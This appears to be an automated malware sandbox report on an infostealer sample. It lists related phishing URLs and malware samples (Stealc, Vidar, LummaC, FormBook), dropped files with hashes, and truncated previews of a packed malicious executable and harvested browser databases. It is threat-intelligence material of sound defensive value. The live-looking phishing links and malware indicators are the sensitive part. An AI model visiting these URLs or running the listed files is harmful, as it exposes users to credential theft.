28a2c9bd18a11de089ef85a160da29e4	https://www.google.co.th/url?q=jODz3y3HOSozuuQiApLh&rct=5CHARyytTPSJ3J3wDcT&sa=t&esrc=sf_rand_string_mixed(5)FgECA0xys8Em2FL&source=&cd=HXUursu8uEcr4eTiw9XH&cad=XpPkDfJ6CHARlDJVS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2Fir.nbaikp3.sa.com%2Fdelaw%2Flawn%2Fkoo%2Fsf_rand_string_mixed(24)/bill.wafford@qurateretail.com	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	ae713827-e32c-f66b-fbdb-5405db450711.eml	Get hash	malicious	Unknown	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	http://mailsystem.clubreadymail.com/ls/click?upn=u001.dtlwkBC06DNvwxOIDozee7JfaEFoikK29eANg7C1JNJcXhZ5gVX-2FXngetD1DVBofJAdCxJYPz79KkHjQ4a88CWk3uwk0LHTd-2BQuqz7QlX5FT8W9oRLmLCtzSTX4k0IZqtxXd_tqQENWc9xFqnCCp3iHBun6Ny8Hr4S4LXflP5eWCRCPqMvoWfGV9u-2FwKqzOzsMAx2mMZTD10t6F-2Fa-2BzGZBzV05lc-2BTr9aqg9-2BqytIbVadpFenaHQ0v-2BIdTTiMe-2F-2BfHHsBDK3wAuPgwhtkcw4b5gAaeO6jGph7EzccXK6qZ9q3RXZcEXV8nVUtJyrcSCDmB-2Bn3qJnRr0-2BMlZvtkB3QnuJkj-2BigNgcTK7oh9PPlXl-2FakX6q-2BsTqF4DIEpeEYAXLd3sT	Get hash	malicious	Unknown	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	https://www.cognitoforms.com/f/wAh1CzXrnEmEifrmJ4OEgg/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	https://tx.gl/r/jQ2FU/	Get hash	malicious	Unknown	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	https://www.attemplate.com/eur/f93d2770-ba65-484a-a0ba-ef8bddcf2ed4/3cd045c9-e63b-453b-b9a3-b5e29e9ef20e/9253d536-e8da-44d0-b681-445519f254ea/login?id=M29uR0UzZG8zVmNGSk5ZaFZXMjhZajJpczk4c0o3VGlNTW9rTk56elpFQzBLcWlLdEhEaCtPQWtlb1FXZTQxMDdIK21wNzNBNHlUWGtpQzhmaTRXdGVYcWlPaUF6VGpQUW1pTUh3VHVDWUI1RWUzVjcyWVdjZ0s5M3FOc2hGenRka0xZTGdmdjRJcVltMytlMTdMSEpzT3RTRjVKb2tibVB3M01RZnppUUwwYkkxOXh0VFBER01OeTRIZldNL0ZzOFg3NWJQMWlBMWY1aU9keUVBclJsS0F1WlBXY0JVQmNIdmlub1FOaGxYRHhXL3RaTFZzWE5JS2JxaVdVYklXWUh2SXk0aGJnK1Q2R3FvbTIwQmdWWHBnUU9PSmdjdlRxYmh6bTRRZ0V4TEN2d2JpWWU0Y1drVkZXd1VqK2MvQTdtZ21Hbk5hcGgrdFo3cC9RcDlma1RZRm1EUmJ3Y2tnaEc4R1FRRmsxSHNBY1RjWURCYU81cXhQSW5FQklQbTVha1RLSFBtNjlmOTlEMnIrdTYzbFJncVZMZWM1ZWVoZFZ6eFo4KzBpQW5MWT0	Get hash	malicious	HTMLPhisher, Microsoft Phishing	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
	https://send-space.s3.eu-north-1.amazonaws.com/de.html	Get hash	malicious	Unknown	Browse	4.245.163.56 52.149.20.212 40.126.32.74 13.107.246.45
37f463bf4616ecd445d4a1937da06e19	Quote_220072.exe	Get hash	malicious	AgentTesla	Browse	87.106.236.48
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	87.106.236.48
	Quotation.exe	Get hash	malicious	FormBook, GuLoader	Browse	87.106.236.48
	V323904LY3.lNK.lnk	Get hash	malicious	Unknown	Browse	87.106.236.48
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse	87.106.236.48
	PO-000172483.exe	Get hash	malicious	FormBook, GuLoader	Browse	87.106.236.48
	oZ7nac01Em.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	SecuriteInfo.com.FileRepMalware.6479.21607.exe	Get hash	malicious	Unknown	Browse	87.106.236.48
	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	FUNDS TRANSFER - 000009442004 - OUTWARD PAYMENT ADVICE pdf.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	87.106.236.48

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\EHDHDHIECG.exe	file.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\EHDHDHIECG.exe	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\Google\Chrome\updater.exe	file.exe	Get hash	malicious	Unknown	Browse
C:\ProgramData\Google\Chrome\updater.exe	WGo3ga1AL9.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	5y992FSaRX.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGIJJKKJ

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBAEGCGC

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECAKKKKJDBKKFIEBKEHDGCAFCB

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHDHDHIECG.exe

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8707480
Entropy (8bit):	7.929778234534272
Encrypted:	false
SSDEEP:	196608:50ipMncd0lHU0kioa09gMC1tFKCnuvoMTQybYD+AvBjtO7:5VpBdxRej7nuPTH25tO
MD5:	D9A5E741B1F67593422BFB1A165288BB
SHA1:	0BC42E46E97FBF3B0754D26D88E43945EDC31A0B
SHA-256:	C81A924446D324B3AEB0772DFD9CBED34FB878AFF823BA2888362A22F7328FE8
SHA-512:	5A463B581C18E2A2076BBF888EE838745EB8FEA6E718B5882951E18A213F530589CB5CF3D61E2CC4014556DC65A327B56B42B915BD9CEA488ADB4782AF151EA4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: WGo3ga1AL9.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...Cb#g.........."...........l................@.............................`......-.....`.................................................B0n.d....Pn.H....................P..............................(@n.(................................................... .........o.................. ..` .*... ..:....t..............@..@ ..l..P..`.Q.................@... ......m.......R.............@..@ ......m.......R.............@..@ ......n.......R.............@... P.....n.n.....R.............@..@ x.... n.i.....R.............@..B.imports.....0n...... R.............@....tls.........@n......"R..................rsrc........Pn......$R.............@..@.themida..W..`n......(R.............`....boot....l2......l2..(R.............`..`.reloc.......P.........................@........................................................

C:\ProgramData\GCGDGHCBGDHJJKECAECB

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Google\Chrome\updater.exe

Download File

Process:	C:\ProgramData\EHDHDHIECG.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8707480
Entropy (8bit):	7.929778234534272
Encrypted:	false
SSDEEP:	196608:50ipMncd0lHU0kioa09gMC1tFKCnuvoMTQybYD+AvBjtO7:5VpBdxRej7nuPTH25tO
MD5:	D9A5E741B1F67593422BFB1A165288BB
SHA1:	0BC42E46E97FBF3B0754D26D88E43945EDC31A0B
SHA-256:	C81A924446D324B3AEB0772DFD9CBED34FB878AFF823BA2888362A22F7328FE8
SHA-512:	5A463B581C18E2A2076BBF888EE838745EB8FEA6E718B5882951E18A213F530589CB5CF3D61E2CC4014556DC65A327B56B42B915BD9CEA488ADB4782AF151EA4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 67%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: WGo3ga1AL9.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...Cb#g.........."...........l................@.............................`......-.....`.................................................B0n.d....Pn.H....................P..............................(@n.(................................................... .........o.................. ..` .*... ..:....t..............@..@ ..l..P..`.Q.................@... ......m.......R.............@..@ ......m.......R.............@..@ ......n.......R.............@... P.....n.n.....R.............@..@ x.... n.i.....R.............@..B.imports.....0n...... R.............@....tls.........@n......"R..................rsrc........Pn......$R.............@..@.themida..W..`n......(R.............`....boot....l2......l2..(R.............`..`.reloc.......P.........................@........................................................

C:\ProgramData\KFBFCAFCBKFIEBFHIDBA

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDAFBFBKFHJJKEHIEGIEHDAF

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFCAAKFBAEHJJJJDHIE

Download File

Process:	C:\Users\user\Desktop\xLgTQcFdIJ.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.363788168458258
Encrypted:	false
SSDEEP:	6:6xPoaaD0JOCEfMuaaD0JOCEfMKQmDNOxPoaaD0JOCEfMuaaD0JOCEfMKQmDN:1aaD0JcaaD0JwQQbaaD0JcaaD0JwQQ
MD5:	0E72F896C84F1457C62C0E20338FAC0D
SHA1:	9C071CC3D15E5BD8BF603391AE447202BD9F8537
SHA-256:	686DC879EA8690C42D3D5D10D0148AE7110FA4D8DCCBF957FB8E41EE3D4A42B3
SHA-512:	AAA5BE088708DABC2EC9A7A6632BDF5700BE719D3F72B732BD2DFD1A3CFDD5C8884BFA4951DB0C499AF423EC30B14A49A30FBB831D1B0A880FE10053043A4251
Malicious:	false
Preview:	*.>...........&.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................&.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3107914649696961
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrX:KooCEYhgYEL0In
MD5:	BFD013E68FE066CA8D533738B0CB7EB9
SHA1:	06E82BB6A3E36BC0DC22FFC58534A538BE7CB551
SHA-256:	019E16C61971786FE9470084674C169B7F137C5849D383F6D17BAA538CF116F0
SHA-512:	509FBC42BB957CBDD673E84E6C65EB02F2A82BE2ED019620F468DB2002E1ED35600DCC678F465084DA2EF8EB8564EF66715638352CD9CFBDD4020B0CC06896C8
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xed2ffad7, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42219511976467927
Encrypted:	false
SSDEEP:	1536:HSB2ESB2SSjlK/uedMrSU0OrsJzvqYkr3g16f2UPkLk+ku4/Iw4KKazAkUk1k2DO:Hazag03A2UrzJDO
MD5:	5F7ED17A1C04ED611963F31CB6232D46
SHA1:	1663A4B8EADCF282C37CA8035DE87E4A1E4D95AD
SHA-256:	3B0F9F7C599459B72FD1F455A69B10FA0A723A615E1CB070B981F68EE0BAE983
SHA-512:	ED1EDF61C1A13681BCA5F4C3155F51B6CA7688E3CA558A1CA63BD886016E19FA0286C574DE020111AC44C49303C7DF29AE8490C59E9C20688BF58FB194C64C63
Malicious:	false
Preview:	./..... .......Y.......X\...;...{......................n.%......+...\|...*...\|o.h.#......+...\|..n.%.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................r..1.+...\|...................W...+...\|...........................#......n.%.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07839825397509646
Encrypted:	false
SSDEEP:	3:amllsetYeQ8jAuU5dpUPpU8VY5gn1U5AllOE/tlnl+/rTc:aSllz0uU5rURU8VY5g1U5ApMP
MD5:	0ECBEEE1539F626B4E8870A6177EF56C
SHA1:	4F2E90B058091C61028C8479B73397B8EB4DEE10
SHA-256:	8CB8A1A41158CE13A2D150E173F55946B2E0F4AFC1084C70BD1DECF2CE7CEFBB
SHA-512:	26817D4E730593A124C544DCC83C8C8CD5E661D34523EB46088EFFA5FAAF53949B3A0ECA39AD7BB1C5178A121FAE4DB5331DDF38DDCC332F73D1A319EDC60DEB
Malicious:	false
Preview:	bp2......................................;...{......\|...+...\|...........+...\|...+...\|..f...+...\|...................W...+...\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_xLgTQcFdIJ.exe_dd6ea0e2c09e1c1bded28d521c1295fa3317e372_f2215a07_be74a088-061c-47ad-b527-a61f1d2ac303\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2144087876738965
Encrypted:	false
SSDEEP:	384:IMKup6LwKKEzabhmhojlUmzuiFTY4IO8kphk:pfEzabgaj3zuiFTY4IO8q
MD5:	B86EA199D7EDCAC90A27BBC3F223FA78
SHA1:	E9F1776BB6F30EE64DC4E43B1C5BDE0C68299B0A
SHA-256:	6EC5AF32B60A1EE2629D22D6305D1EF6C7490EDD525DF4F088F2CACDB5E8F4DB
SHA-512:	3CA8117FA6F4DDAB5DE952B8C7FAD11FA415098F5117570F95AB69FF1498EA5F65EE2E9BFBBAB1AD0943C46C1514F234584986262E216644C0A180587A6B0F48
Malicious:	true
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.4.9.3.8.5.5.2.3.9.9.4.6.6.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.4.9.3.8.5.5.3.4.1.5.0.8.2.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.7.4.a.0.8.8.-.0.6.1.c.-.4.7.a.d.-.b.5.2.7.-.a.6.1.f.1.d.2.a.c.3.0.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.3.8.5.c.2.e.a.-.9.d.8.2.-.4.3.2.a.-.9.a.0.b.-.9.2.1.b.b.4.9.5.6.8.b.e.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.x.L.g.T.Q.c.F.d.I.J...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.2.c.-.0.0.0.1.-.0.0.1.4.-.f.c.2.0.-.7.8.6.d.5.b.2.c.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.e.5.5.5.4.c.a.6.1.a.9.b.1.d.8.e.5.8.a.c.c.4.a.6.3.5.f.7.9.5.b.3.0.0.0.0.f.f.f.f.!.0.0.0.0.e.b.7.2.f.f.7.4.3.a.d.b.3.f.3.9.e.9.0.e.2.7.6.8.4.5.9.4.b.8.1.c.6.c.b.7.0.3.2.d.!.x.L.g.T.Q.c.F.d.I.J...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERADFB.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Nov 1 12:42:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	71442
Entropy (8bit):	2.573899772522755
Encrypted:	false
SSDEEP:	384:n5tv7r6mvluHgES2ogz0AkI83lYRbeujrW2z7:5R7n0gESJAkD6MujKQ
MD5:	7D5CB3C1754C5FA8CFC57C4C2B2D0E93
SHA1:	39112453DDC11446CF8B0F5D984267837C95EFC4
SHA-256:	F554F51B5D4A0BC9E884DD9B5F978E9280C2253FD9C7ADFDBD6CE4F47C919772
SHA-512:	306B0BC5E201E9CCD6B5AAB563F709DFC530D4445A9AB1E0F98623CD3280DBEE1013067743DE8E2356997229521DC9B471811A528B73CC3E842C08AF4B3BC552
Malicious:	false
Preview:	MDMP..a..... .........$g............4............%..<.......d...`?..........T.......8...........T............z..2............,..........................................................................................eJ......P/......GenuineIntel............T.......,.....$g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERAFF0.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8344
Entropy (8bit):	3.6993141755717356
Encrypted:	false
SSDEEP:	192:R6l7wVeJRnB6x6Y9PSU9MJgmf+Gp7pDOx89brDsfj5m:R6lXJRB6x6YVSU9MJgmf+Gpvrofg
MD5:	8A6AF1A60F096C49BC9BEF0F50201C6C
SHA1:	58567EAD0BD7EC0E01B812273433298AC749EEAC
SHA-256:	B72184D44FB6AA361C54F95C32DC7EDA4A19E4302361CF9626DF411BF73193EF
SHA-512:	52289C9945F468A93B0B2F15FC216AF070A88B6BD1A98E9CDB542F08ED220A23B10BC929FCE6948DC02BE4C1F030C6B2EDD0691895E811A5CBFE038F71765180
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.9.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERB04E.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.477714512273229
Encrypted:	false
